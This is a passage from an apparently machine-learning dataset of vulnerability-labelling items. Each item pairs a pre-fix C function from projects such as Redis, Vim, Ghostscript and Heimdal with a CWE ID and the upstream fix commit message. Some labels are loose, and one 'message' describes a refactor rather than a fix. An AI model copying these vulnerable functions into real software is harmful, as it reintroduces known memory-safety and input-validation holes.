bb_data_len, ENC_NA);\n new_off += bb_data_len;\n break;\n\n default:\n proto_tree_add_item(tree, hf_dvb_s2_bb_reserved, tvb, new_off, bb_data_len, ENC_NA);\n new_off += bb_data_len;\n expert_add_info(pinfo, ti, &ei_dvb_s2_bb_reserved);\n break;\n }\n\n return new_off;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'DVB-S2-BB: Prevent infinite loop\n\nCommit 4bf4ee88f0544727e7f89f3f288c6afd2f650a4c removed an else\nstatement that broke out of the BBFrame processing loop. Without\nit, infinite loops might be possible if the GSE frames have bit errors\nin the length field.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: pipe_fopen(gx_io_device * iodev, const char *fname, const char *access,\n gp_file ** pfile, char *rfname, uint rnamelen, gs_memory_t *mem)\n{\n#ifdef GS_NO_FILESYSTEM\n return 0;\n#else\n gs_lib_ctx_t *ctx = mem->gs_lib_ctx;\n gs_fs_list_t *fs = ctx->core->fs;\n\n if (gp_validate_path(mem, fname, access) != 0)\n return gs_error_invalidfileaccess;\n\n /*\n * Some platforms allow opening a pipe with a '+' in the access\n * mode, even though pipes are not positionable. Detect this here.\n */\n if (strchr(access, '+'))\n return_error(gs_error_invalidfileaccess);\n\n *pfile = NULL;\n for (fs = ctx->core->fs; fs != NULL; fs = fs->next)\n {\n int code = 0;\n if (fs->fs.open_pipe)\n code = fs->fs.open_pipe(mem, fs->secret, fname, rfname, access, pfile);\n if (code < 0)\n return code;\n if (*pfile != NULL)\n break;\n }\n\n return 0;\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Bug 704342: Include device specifier strings in access validation\n\nfor the \"%pipe%\", %handle%\" and %printer% io devices.\n\nWe previously validated only the part after the \"%pipe%\" Postscript device\nspecifier, but this proved insufficient.\n\nThis rebuilds the original file name string, and validates it complete. The\nslight complication for \"%pipe%\" is it can be reached implicitly using\n\"|\" so we have to check both prefixes.\n\nAddresses CVE-2021-3781'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: nv_replace(cmdarg_T *cap)\n{\n char_u\t*ptr;\n int\t\thad_ctrl_v;\n long\tn;\n\n if (checkclearop(cap->oap))\n\treturn;\n#ifdef FEAT_JOB_CHANNEL\n if (bt_prompt(curbuf) && !prompt_curpos_editable())\n {\n\tclearopbeep(cap->oap);\n\treturn;\n }\n#endif\n\n // get another character\n if (cap->nchar == Ctrl_V)\n {\n\thad_ctrl_v = Ctrl_V;\n\tcap->nchar = get_literal(FALSE);\n\t// Don't redo a multibyte character with CTRL-V.\n\tif (cap->nchar > DEL)\n\t had_ctrl_v = NUL;\n }\n else\n\thad_ctrl_v = NUL;\n\n // Abort if the character is a special key.\n if (IS_SPECIAL(cap->nchar))\n {\n\tclearopbeep(cap->oap);\n\treturn;\n }\n\n // Visual mode \"r\"\n if (VIsual_active)\n {\n\tif (got_int)\n\t reset_VIsual();\n\tif (had_ctrl_v)\n\t{\n\t // Use a special (negative) number to make a difference between a\n\t // literal CR or NL and a line break.\n\t if (cap->nchar == CAR)\n\t\tcap->nchar = REPLACE_CR_NCHAR;\n\t else if (cap->nchar == NL)\n\t\tcap->nchar = REPLACE_NL_NCHAR;\n\t}\n\tnv_operator(cap);\n\treturn;\n }\n\n // Break tabs, etc.\n if (virtual_active())\n {\n\tif (u_save_cursor() == FAIL)\n\t return;\n\tif (gchar_cursor() == NUL)\n\t{\n\t // Add extra space and put the cursor on the first one.\n\t coladvance_force((colnr_T)(getviscol() + cap->count1));\n\t curwin->w_cursor.col -= cap->count1;\n\t}\n\telse if (gchar_cursor() == TAB)\n\t coladvance_force(getviscol());\n }\n\n // Abort if not enough characters to replace.\n ptr = ml_get_cursor();\n if (STRLEN(ptr) < (unsigned)cap->count1\n\t || (has_mbyte && mb_charlen(ptr) < cap->count1))\n {\n\tclearopbeep(cap->oap);\n\treturn;\n }\n\n /*\n * Replacing with a TAB is done by edit() when it is complicated because\n * 'expandtab' or 'smarttab' is set. CTRL-V TAB inserts a literal TAB.\n * Other characters are done below to avoid problems with things like\n * CTRL-V 048 (for edit() this would be R CTRL-V 0 ESC).\n */\n if (had_ctrl_v != Ctrl_V && cap->nchar == '\\t' && (curbuf->b_p_et || p_sta))\n {\n\tstuffnumReadbuff(cap->count1);\n\tstuffcharReadbuff('R');\n\tstuffcharReadbuff('\\t');\n\tstuffcharReadbuff(ESC);\n\treturn;\n }\n\n // save line for undo\n if (u_save_cursor() == FAIL)\n\treturn;\n\n if (had_ctrl_v != Ctrl_V && (cap->nchar == '\\r' || cap->nchar == '\\n'))\n {\n\t/*\n\t * Replace character(s) by a single newline.\n\t * Strange vi behaviour: Only one newline is inserted.\n\t * Delete the characters here.\n\t * Insert the newline with an insert command, takes care of\n\t * autoindent.\tThe insert command depends on being on the last\n\t * character of a line or not.\n\t */\n\t(void)del_chars(cap->count1, FALSE);\t// delete the characters\n\tstuffcharReadbuff('\\r');\n\tstuffcharReadbuff(ESC);\n\n\t// Give 'r' to edit(), to get the redo command right.\n\tinvoke_edit(cap, TRUE, 'r', FALSE);\n }\n else\n {\n\tprep_redo(cap->oap->regname, cap->count1,\n\t\t\t\t NUL, 'r', NUL, had_ctrl_v, cap->nchar);\n\n\tcurbuf->b_op_start = curwin->w_cursor;\n\tif (has_mbyte)\n\t{\n\t int\t\told_State = State;\n\n\t if (cap->ncharC1 != 0)\n\t\tAppendCharToRedobuff(cap->ncharC1);\n\t if (cap->ncharC2 != 0)\n\t\tAppendCharToRedobuff(cap->ncharC2);\n\n\t // This is slow, but it handles replacing a single-byte with a\n\t // multi-byte and the other way around. Also handles adding\n\t // composing characters for utf-8.\n\t for (n = cap->count1; n > 0; --n)\n\t {\n\t\tState = REPLACE;\n\t\tif (cap->nchar == Ctrl_E || cap->nchar == Ctrl_Y)\n\t\t{\n\t\t int c = ins_copychar(curwin->w_cursor.lnum\n\t\t\t\t\t + (cap->nchar == Ctrl_Y ? -1 : 1));\n\t\t if (c != NUL)\n\t\t\tins_char(c);\n\t\t else\n\t\t\t// will be decremented further down\n\t\t\t++curwin->w_cursor.col;\n\t\t}\n\t\telse\n\t\t ins_char(cap->nchar);\n\t\tState = old_State;\n\t\tif (cap->ncharC1 != 0)\n\t\t ins_char(cap->ncharC1);\n\t\tif (cap->ncharC2 != 0)\n\t\t ins_char(cap->ncharC2);\n\t }\n\t}\n\telse\n\t{\n\t /*\n\t * Replace the characters within one line.\n\t */\n\t for (n = cap->count1; n > 0; --n)\n\t {\n\t\t/*\n\t\t * Get ptr again, because u_save and/or showmatch() will have\n\t\t * released the line. At the same time we let know that the\n\t\t * line will be changed.\n\t\t */\n\t\tptr = ml_get_buf(curbuf, curwin->w_cursor.lnum, TRUE);\n\t\tif (cap->nchar == Ctrl_E || cap->nchar == Ctrl_Y)\n\t\t{\n\t\t int c = ins_copychar(curwin->w_cursor.lnum\n\t\t\t\t\t + (cap->nchar == Ctrl_Y ? -1 : 1));\n\t\t if (c != NUL)\n\t\t ptr[curwin->w_cursor.col] = c;\n\t\t}\n\t\telse\n\t\t ptr[curwin->w_cursor.col] = cap->nchar;\n\t\tif (p_sm && msg_silent == 0)\n\t\t showmatch(cap->nchar);\n\t\t++curwin->w_cursor.col;\n\t }\n#ifdef FEAT_NETBEANS_INTG\n\t if (netbeans_active())\n\t {\n\t\tcolnr_T start = (colnr_T)(curwin->w_cursor.col - cap->count1);\n\n\t\tnetbeans_removed(curbuf, curwin->w_cursor.lnum, start,\n\t\t\t\t\t\t\t (long)cap->count1);\n\t\tnetbeans_inserted(curbuf, curwin->w_cursor.lnum, start,\n\t\t\t\t\t &ptr[start], (int)cap->count1);\n\t }\n#endif\n\n\t // mark the buffer as changed and prepare for displaying\n\t changed_bytes(curwin->w_cursor.lnum,\n\t\t\t (colnr_T)(curwin->w_cursor.col - cap->count1));\n\t}\n\t--curwin->w_cursor.col;\t // cursor on the last replaced char\n\t// if the character on the left of the current cursor is a multi-byte\n\t// character, move two characters left\n\tif (has_mbyte)\n\t mb_adjust_cursor();\n\tcurbuf->b_op_end = curwin->w_cursor;\n\tcurwin->w_set_curswant = TRUE;\n\tset_last_insert(cap->nchar);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'patch 8.2.3428: using freed memory when replacing\n\nProblem: Using freed memory when replacing. (Dhiraj Mishra)\nSolution: Get the line pointer after calling ins_copychar().'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool timerqueue_del(struct timerqueue_head *head, struct timerqueue_node *node)\n{\n\tWARN_ON_ONCE(RB_EMPTY_NODE(&node->node));\n\n\t/* update next pointer */\n\tif (head->next == node) {\n\t\tstruct rb_node *rbn = rb_next(&node->node);\n\n\t\thead->next = rb_entry_safe(rbn, struct timerqueue_node, node);\n\t}\n\trb_erase(&node->node, &head->head);\n\tRB_CLEAR_NODE(&node->node);\n\treturn head->next != NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-665'], 'message': 'lib/timerqueue: Rely on rbtree semantics for next timer\n\nSimplify the timerqueue code by using cached rbtrees and rely on the tree\nleftmost node semantics to get the timer with earliest expiration time.\nThis is a drop in conversion, and therefore semantics remain untouched.\n\nThe runtime overhead of cached rbtrees is be pretty much the same as the\ncurrent head->next method, noting that when removing the leftmost node,\na common operation for the timerqueue, the rb_next(leftmost) is O(1) as\nwell, so the next timer will either be the right node or its parent.\nTherefore no extra pointer chasing. Finally, the size of the struct\ntimerqueue_head remains the same.\n\nPasses several hours of rcutorture.\n\nSigned-off-by: Davidlohr Bueso \nSigned-off-by: Thomas Gleixner \nLink: https://lkml.kernel.org/r/20190724152323.bojciei3muvfxalm@linux-r8p5'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int processMultibulkBuffer(client *c) {\n char *newline = NULL;\n int ok;\n long long ll;\n\n if (c->multibulklen == 0) {\n /* The client should have been reset */\n serverAssertWithInfo(c,NULL,c->argc == 0);\n\n /* Multi bulk length cannot be read without a \\r\\n */\n newline = strchr(c->querybuf+c->qb_pos,'\\r');\n if (newline == NULL) {\n if (sdslen(c->querybuf)-c->qb_pos > PROTO_INLINE_MAX_SIZE) {\n addReplyError(c,\"Protocol error: too big mbulk count string\");\n setProtocolError(\"too big mbulk count string\",c);\n }\n return C_ERR;\n }\n\n /* Buffer should also contain \\n */\n if (newline-(c->querybuf+c->qb_pos) > (ssize_t)(sdslen(c->querybuf)-c->qb_pos-2))\n return C_ERR;\n\n /* We know for sure there is a whole line since newline != NULL,\n * so go ahead and find out the multi bulk length. */\n serverAssertWithInfo(c,NULL,c->querybuf[c->qb_pos] == '*');\n ok = string2ll(c->querybuf+1+c->qb_pos,newline-(c->querybuf+1+c->qb_pos),&ll);\n if (!ok || ll > 1024*1024) {\n addReplyError(c,\"Protocol error: invalid multibulk length\");\n setProtocolError(\"invalid mbulk count\",c);\n return C_ERR;\n }\n\n c->qb_pos = (newline-c->querybuf)+2;\n\n if (ll <= 0) return C_OK;\n\n c->multibulklen = ll;\n\n /* Setup argv array on client structure */\n if (c->argv) zfree(c->argv);\n c->argv = zmalloc(sizeof(robj*)*c->multibulklen);\n c->argv_len_sum = 0;\n }\n\n serverAssertWithInfo(c,NULL,c->multibulklen > 0);\n while(c->multibulklen) {\n /* Read bulk length if unknown */\n if (c->bulklen == -1) {\n newline = strchr(c->querybuf+c->qb_pos,'\\r');\n if (newline == NULL) {\n if (sdslen(c->querybuf)-c->qb_pos > PROTO_INLINE_MAX_SIZE) {\n addReplyError(c,\n \"Protocol error: too big bulk count string\");\n setProtocolError(\"too big bulk count string\",c);\n return C_ERR;\n }\n break;\n }\n\n /* Buffer should also contain \\n */\n if (newline-(c->querybuf+c->qb_pos) > (ssize_t)(sdslen(c->querybuf)-c->qb_pos-2))\n break;\n\n if (c->querybuf[c->qb_pos] != '$') {\n addReplyErrorFormat(c,\n \"Protocol error: expected '$', got '%c'\",\n c->querybuf[c->qb_pos]);\n setProtocolError(\"expected $ but got something else\",c);\n return C_ERR;\n }\n\n ok = string2ll(c->querybuf+c->qb_pos+1,newline-(c->querybuf+c->qb_pos+1),&ll);\n if (!ok || ll < 0 ||\n (!(c->flags & CLIENT_MASTER) && ll > server.proto_max_bulk_len)) {\n addReplyError(c,\"Protocol error: invalid bulk length\");\n setProtocolError(\"invalid bulk length\",c);\n return C_ERR;\n }\n\n c->qb_pos = newline-c->querybuf+2;\n if (ll >= PROTO_MBULK_BIG_ARG) {\n /* If we are going to read a large object from network\n * try to make it likely that it will start at c->querybuf\n * boundary so that we can optimize object creation\n * avoiding a large copy of data.\n *\n * But only when the data we have not parsed is less than\n * or equal to ll+2. If the data length is greater than\n * ll+2, trimming querybuf is just a waste of time, because\n * at this time the querybuf contains not only our bulk. */\n if (sdslen(c->querybuf)-c->qb_pos <= (size_t)ll+2) {\n sdsrange(c->querybuf,c->qb_pos,-1);\n c->qb_pos = 0;\n /* Hint the sds library about the amount of bytes this string is\n * going to contain. */\n c->querybuf = sdsMakeRoomFor(c->querybuf,ll+2-sdslen(c->querybuf));\n }\n }\n c->bulklen = ll;\n }\n\n /* Read bulk argument */\n if (sdslen(c->querybuf)-c->qb_pos < (size_t)(c->bulklen+2)) {\n /* Not enough data (+2 == trailing \\r\\n) */\n break;\n } else {\n /* Optimization: if the buffer contains JUST our bulk element\n * instead of creating a new object by *copying* the sds we\n * just use the current sds string. */\n if (c->qb_pos == 0 &&\n c->bulklen >= PROTO_MBULK_BIG_ARG &&\n sdslen(c->querybuf) == (size_t)(c->bulklen+2))\n {\n c->argv[c->argc++] = createObject(OBJ_STRING,c->querybuf);\n c->argv_len_sum += c->bulklen;\n sdsIncrLen(c->querybuf,-2); /* remove CRLF */\n /* Assume that if we saw a fat argument we'll see another one\n * likely... */\n c->querybuf = sdsnewlen(SDS_NOINIT,c->bulklen+2);\n sdsclear(c->querybuf);\n } else {\n c->argv[c->argc++] =\n createStringObject(c->querybuf+c->qb_pos,c->bulklen);\n c->argv_len_sum += c->bulklen;\n c->qb_pos += c->bulklen+2;\n }\n c->bulklen = -1;\n c->multibulklen--;\n }\n }\n\n /* We're done when c->multibulk == 0 */\n if (c->multibulklen == 0) return C_OK;\n\n /* Still not ready to process the command */\n return C_ERR;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-770'], 'message': 'Prevent unauthenticated client from easily consuming lots of memory (CVE-2021-32675)\n\nThis change sets a low limit for multibulk and bulk length in the\nprotocol for unauthenticated connections, so that they can't easily\ncause redis to allocate massive amounts of memory by sending just a few\ncharacters on the network.\nThe new limits are 10 arguments of 16kb each (instead of 1m of 512mb)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: REDIS_STATIC void _quicklistInsert(quicklist *quicklist, quicklistEntry *entry,\n void *value, const size_t sz, int after) {\n int full = 0, at_tail = 0, at_head = 0, full_next = 0, full_prev = 0;\n int fill = quicklist->fill;\n quicklistNode *node = entry->node;\n quicklistNode *new_node = NULL;\n\n if (!node) {\n /* we have no reference node, so let's create only node in the list */\n D(\"No node given!\");\n new_node = quicklistCreateNode();\n new_node->zl = ziplistPush(ziplistNew(), value, sz, ZIPLIST_HEAD);\n __quicklistInsertNode(quicklist, NULL, new_node, after);\n new_node->count++;\n quicklist->count++;\n return;\n }\n\n /* Populate accounting flags for easier boolean checks later */\n if (!_quicklistNodeAllowInsert(node, fill, sz)) {\n D(\"Current node is full with count %d with requested fill %lu\",\n node->count, fill);\n full = 1;\n }\n\n if (after && (entry->offset == node->count)) {\n D(\"At Tail of current ziplist\");\n at_tail = 1;\n if (!_quicklistNodeAllowInsert(node->next, fill, sz)) {\n D(\"Next node is full too.\");\n full_next = 1;\n }\n }\n\n if (!after && (entry->offset == 0)) {\n D(\"At Head\");\n at_head = 1;\n if (!_quicklistNodeAllowInsert(node->prev, fill, sz)) {\n D(\"Prev node is full too.\");\n full_prev = 1;\n }\n }\n\n /* Now determine where and how to insert the new element */\n if (!full && after) {\n D(\"Not full, inserting after current position.\");\n quicklistDecompressNodeForUse(node);\n unsigned char *next = ziplistNext(node->zl, entry->zi);\n if (next == NULL) {\n node->zl = ziplistPush(node->zl, value, sz, ZIPLIST_TAIL);\n } else {\n node->zl = ziplistInsert(node->zl, next, value, sz);\n }\n node->count++;\n quicklistNodeUpdateSz(node);\n quicklistRecompressOnly(quicklist, node);\n } else if (!full && !after) {\n D(\"Not full, inserting before current position.\");\n quicklistDecompressNodeForUse(node);\n node->zl = ziplistInsert(node->zl, entry->zi, value, sz);\n node->count++;\n quicklistNodeUpdateSz(node);\n quicklistRecompressOnly(quicklist, node);\n } else if (full && at_tail && node->next && !full_next && after) {\n /* If we are: at tail, next has free space, and inserting after:\n * - insert entry at head of next node. */\n D(\"Full and tail, but next isn't full; inserting next node head\");\n new_node = node->next;\n quicklistDecompressNodeForUse(new_node);\n new_node->zl = ziplistPush(new_node->zl, value, sz, ZIPLIST_HEAD);\n new_node->count++;\n quicklistNodeUpdateSz(new_node);\n quicklistRecompressOnly(quicklist, new_node);\n } else if (full && at_head && node->prev && !full_prev && !after) {\n /* If we are: at head, previous has free space, and inserting before:\n * - insert entry at tail of previous node. */\n D(\"Full and head, but prev isn't full, inserting prev node tail\");\n new_node = node->prev;\n quicklistDecompressNodeForUse(new_node);\n new_node->zl = ziplistPush(new_node->zl, value, sz, ZIPLIST_TAIL);\n new_node->count++;\n quicklistNodeUpdateSz(new_node);\n quicklistRecompressOnly(quicklist, new_node);\n } else if (full && ((at_tail && node->next && full_next && after) ||\n (at_head && node->prev && full_prev && !after))) {\n /* If we are: full, and our prev/next is full, then:\n * - create new node and attach to quicklist */\n D(\"\\tprovisioning new node...\");\n new_node = quicklistCreateNode();\n new_node->zl = ziplistPush(ziplistNew(), value, sz, ZIPLIST_HEAD);\n new_node->count++;\n quicklistNodeUpdateSz(new_node);\n __quicklistInsertNode(quicklist, node, new_node, after);\n } else if (full) {\n /* else, node is full we need to split it. */\n /* covers both after and !after cases */\n D(\"\\tsplitting node...\");\n quicklistDecompressNodeForUse(node);\n new_node = _quicklistSplitNode(node, entry->offset, after);\n new_node->zl = ziplistPush(new_node->zl, value, sz,\n after ? ZIPLIST_HEAD : ZIPLIST_TAIL);\n new_node->count++;\n quicklistNodeUpdateSz(new_node);\n __quicklistInsertNode(quicklist, node, new_node, after);\n _quicklistMergeNodes(quicklist, node);\n }\n\n quicklist->count++;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix ziplist and listpack overflows and truncations (CVE-2021-32627, CVE-2021-32628)\n\n- fix possible heap corruption in ziplist and listpack resulting by trying to\n allocate more than the maximum size of 4GB.\n- prevent ziplist (hash and zset) from reaching size of above 1GB, will be\n converted to HT encoding, that's not a useful size.\n- prevent listpack (stream) from reaching size of above 1GB.\n- XADD will start a new listpack if the new record may cause the previous\n listpack to grow over 1GB.\n- XADD will respond with an error if a single stream record is over 1GB\n- List type (ziplist in quicklist) was truncating strings that were over 4GB,\n now it'll respond with an error.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int quicklistPushTail(quicklist *quicklist, void *value, size_t sz) {\n quicklistNode *orig_tail = quicklist->tail;\n if (likely(\n _quicklistNodeAllowInsert(quicklist->tail, quicklist->fill, sz))) {\n quicklist->tail->zl =\n ziplistPush(quicklist->tail->zl, value, sz, ZIPLIST_TAIL);\n quicklistNodeUpdateSz(quicklist->tail);\n } else {\n quicklistNode *node = quicklistCreateNode();\n node->zl = ziplistPush(ziplistNew(), value, sz, ZIPLIST_TAIL);\n\n quicklistNodeUpdateSz(node);\n _quicklistInsertNodeAfter(quicklist, quicklist->tail, node);\n }\n quicklist->count++;\n quicklist->tail->count++;\n return (orig_tail != quicklist->tail);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix ziplist and listpack overflows and truncations (CVE-2021-32627, CVE-2021-32628)\n\n- fix possible heap corruption in ziplist and listpack resulting by trying to\n allocate more than the maximum size of 4GB.\n- prevent ziplist (hash and zset) from reaching size of above 1GB, will be\n converted to HT encoding, that's not a useful size.\n- prevent listpack (stream) from reaching size of above 1GB.\n- XADD will start a new listpack if the new record may cause the previous\n listpack to grow over 1GB.\n- XADD will respond with an error if a single stream record is over 1GB\n- List type (ziplist in quicklist) was truncating strings that were over 4GB,\n now it'll respond with an error.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: tgs_build_reply(astgs_request_t priv,\n\t\thdb_entry_ex *krbtgt,\n\t\tkrb5_enctype krbtgt_etype,\n\t\tconst krb5_keyblock *replykey,\n\t\tint rk_is_subkey,\n\t\tkrb5_ticket *ticket,\n\t\tconst char **e_text,\n\t\tAuthorizationData **auth_data,\n\t\tconst struct sockaddr *from_addr)\n{\n krb5_context context = priv->context;\n krb5_kdc_configuration *config = priv->config;\n KDC_REQ *req = &priv->req;\n KDC_REQ_BODY *b = &priv->req.req_body;\n const char *from = priv->from;\n krb5_error_code ret, ret2;\n krb5_principal cp = NULL, sp = NULL, rsp = NULL, tp = NULL, dp = NULL;\n krb5_principal krbtgt_out_principal = NULL;\n char *spn = NULL, *cpn = NULL, *tpn = NULL, *dpn = NULL, *krbtgt_out_n = NULL;\n hdb_entry_ex *server = NULL, *client = NULL, *s4u2self_impersonated_client = NULL;\n HDB *clientdb, *s4u2self_impersonated_clientdb;\n krb5_realm ref_realm = NULL;\n EncTicketPart *tgt = &ticket->ticket;\n krb5_principals spp = NULL;\n const EncryptionKey *ekey;\n krb5_keyblock sessionkey;\n krb5_kvno kvno;\n krb5_data rspac;\n const char *tgt_realm = /* Realm of TGT issuer */\n krb5_principal_get_realm(context, krbtgt->entry.principal);\n const char *our_realm = /* Realm of this KDC */\n krb5_principal_get_comp_string(context, krbtgt->entry.principal, 1);\n char **capath = NULL;\n size_t num_capath = 0;\n\n hdb_entry_ex *krbtgt_out = NULL;\n\n METHOD_DATA enc_pa_data;\n\n PrincipalName *s;\n Realm r;\n EncTicketPart adtkt;\n char opt_str[128];\n int signedpath = 0;\n\n Key *tkey_check;\n Key *tkey_sign;\n int flags = HDB_F_FOR_TGS_REQ;\n\n memset(&sessionkey, 0, sizeof(sessionkey));\n memset(&adtkt, 0, sizeof(adtkt));\n krb5_data_zero(&rspac);\n memset(&enc_pa_data, 0, sizeof(enc_pa_data));\n\n s = b->sname;\n r = b->realm;\n\n /*\n * The canonicalize KDC option is passed as a hint to the backend, but\n * can typically be ignored. Per RFC 6806, names are not canonicalized\n * in response to a TGS request (although we make an exception, see\n * force-canonicalize below).\n */\n if (b->kdc_options.canonicalize)\n\tflags |= HDB_F_CANON;\n\n if(b->kdc_options.enc_tkt_in_skey){\n\tTicket *t;\n\thdb_entry_ex *uu;\n\tkrb5_principal p;\n\tKey *uukey;\n\tkrb5uint32 second_kvno = 0;\n\tkrb5uint32 *kvno_ptr = NULL;\n\n\tif(b->additional_tickets == NULL ||\n\t b->additional_tickets->len == 0){\n\t ret = KRB5KDC_ERR_BADOPTION; /* ? */\n\t kdc_log(context, config, 4,\n\t\t \"No second ticket present in user-to-user request\");\n _kdc_audit_addreason((kdc_request_t)priv,\n \"No second ticket present in user-to-user request\");\n\t goto out;\n\t}\n\tt = &b->additional_tickets->val[0];\n\tif(!get_krbtgt_realm(&t->sname)){\n\t kdc_log(context, config, 4,\n\t\t \"Additional ticket is not a ticket-granting ticket\");\n _kdc_audit_addreason((kdc_request_t)priv,\n \"Additional ticket is not a ticket-granting ticket\");\n\t ret = KRB5KDC_ERR_POLICY;\n\t goto out;\n\t}\n\t_krb5_principalname2krb5_principal(context, &p, t->sname, t->realm);\n\tret = krb5_unparse_name(context, p, &tpn);\n\tif (ret)\n\t\tgoto out;\n\tif(t->enc_part.kvno){\n\t second_kvno = *t->enc_part.kvno;\n\t kvno_ptr = &second_kvno;\n\t}\n\tret = _kdc_db_fetch(context, config, p,\n\t\t\t HDB_F_GET_KRBTGT, kvno_ptr,\n\t\t\t NULL, &uu);\n\tkrb5_free_principal(context, p);\n\tif(ret){\n\t if (ret == HDB_ERR_NOENTRY)\n\t\tret = KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN;\n _kdc_audit_addreason((kdc_request_t)priv,\n \"User-to-user service principal (TGS) unknown\");\n\t goto out;\n\t}\n\tret = hdb_enctype2key(context, &uu->entry, NULL,\n\t\t\t t->enc_part.etype, &uukey);\n\tif(ret){\n\t _kdc_free_ent(context, uu);\n\t ret = KRB5KDC_ERR_ETYPE_NOSUPP; /* XXX */\n _kdc_audit_addreason((kdc_request_t)priv,\n \"User-to-user enctype not supported\");\n\t goto out;\n\t}\n\tret = krb5_decrypt_ticket(context, t, &uukey->key, &adtkt, 0);\n\t_kdc_free_ent(context, uu);\n\tif(ret) {\n _kdc_audit_addreason((kdc_request_t)priv,\n \"User-to-user TGT decrypt failure\");\n\t goto out;\n }\n\n\tret = verify_flags(context, config, &adtkt, tpn);\n\tif (ret) {\n _kdc_audit_addreason((kdc_request_t)priv,\n \"User-to-user TGT expired or invalid\");\n\t goto out;\n }\n\n\ts = &adtkt.cname;\n\tr = adtkt.crealm;\n }\n\n _krb5_principalname2krb5_principal(context, &sp, *s, r);\n ret = krb5_unparse_name(context, sp, &priv->sname);\n if (ret)\n\tgoto out;\n spn = priv->sname;\n _krb5_principalname2krb5_principal(context, &cp, tgt->cname, tgt->crealm);\n ret = krb5_unparse_name(context, cp, &priv->cname);\n if (ret)\n\tgoto out;\n cpn = priv->cname;\n unparse_flags (KDCOptions2int(b->kdc_options),\n\t\t asn1_KDCOptions_units(),\n\t\t opt_str, sizeof(opt_str));\n if(*opt_str)\n\tkdc_log(context, config, 4,\n\t\t\"TGS-REQ %s from %s for %s [%s]\",\n\t\tcpn, from, spn, opt_str);\n else\n\tkdc_log(context, config, 4,\n\t\t\"TGS-REQ %s from %s for %s\", cpn, from, spn);\n\n /*\n * Fetch server\n */\n\nserver_lookup:\n ret = _kdc_db_fetch(context, config, sp,\n HDB_F_GET_SERVER | HDB_F_DELAY_NEW_KEYS | flags,\n\t\t\tNULL, NULL, &server);\n priv->server = server;\n if (ret == HDB_ERR_NOT_FOUND_HERE) {\n\tkdc_log(context, config, 5, \"target %s does not have secrets at this KDC, need to proxy\", spn);\n _kdc_audit_addreason((kdc_request_t)priv, \"Target not found here\");\n\tgoto out;\n } else if (ret == HDB_ERR_WRONG_REALM) {\n free(ref_realm);\n\tref_realm = strdup(server->entry.principal->realm);\n\tif (ref_realm == NULL) {\n ret = krb5_enomem(context);\n\t goto out;\n\t}\n\n\tkdc_log(context, config, 4,\n\t\t\"Returning a referral to realm %s for \"\n\t\t\"server %s.\",\n\t\tref_realm, spn);\n\tkrb5_free_principal(context, sp);\n\tsp = NULL;\n\tret = krb5_make_principal(context, &sp, r, KRB5_TGS_NAME,\n\t\t\t\t ref_realm, NULL);\n\tif (ret)\n\t goto out;\n\tfree(priv->sname);\n priv->sname = NULL;\n\tret = krb5_unparse_name(context, sp, &priv->sname);\n\tif (ret)\n\t goto out;\n\tspn = priv->sname;\n\n\tgoto server_lookup;\n } else if (ret) {\n\tconst char *new_rlm, *msg;\n\tRealm req_rlm;\n\tkrb5_realm *realms;\n\n\tif ((req_rlm = get_krbtgt_realm(&sp->name)) != NULL) {\n if (capath == NULL) {\n /* With referalls, hierarchical capaths are always enabled */\n ret2 = _krb5_find_capath(context, tgt->crealm, our_realm,\n req_rlm, TRUE, &capath, &num_capath);\n if (ret2) {\n ret = ret2;\n _kdc_audit_addreason((kdc_request_t)priv,\n \"No trusted path from client realm to ours\");\n goto out;\n }\n }\n new_rlm = num_capath > 0 ? capath[--num_capath] : NULL;\n if (new_rlm) {\n kdc_log(context, config, 5, \"krbtgt from %s via %s for \"\n \"realm %s not found, trying %s\", tgt->crealm,\n our_realm, req_rlm, new_rlm);\n\n free(ref_realm);\n ref_realm = strdup(new_rlm);\n if (ref_realm == NULL) {\n ret = krb5_enomem(context);\n goto out;\n }\n\n krb5_free_principal(context, sp);\n sp = NULL;\n krb5_make_principal(context, &sp, r,\n KRB5_TGS_NAME, ref_realm, NULL);\n free(priv->sname);\n priv->sname = NULL;\n ret = krb5_unparse_name(context, sp, &priv->sname);\n if (ret)\n goto out;\n spn = priv->sname;\n goto server_lookup;\n }\n\t} else if (need_referral(context, config, &b->kdc_options, sp, &realms)) {\n\t if (strcmp(realms[0], sp->realm) != 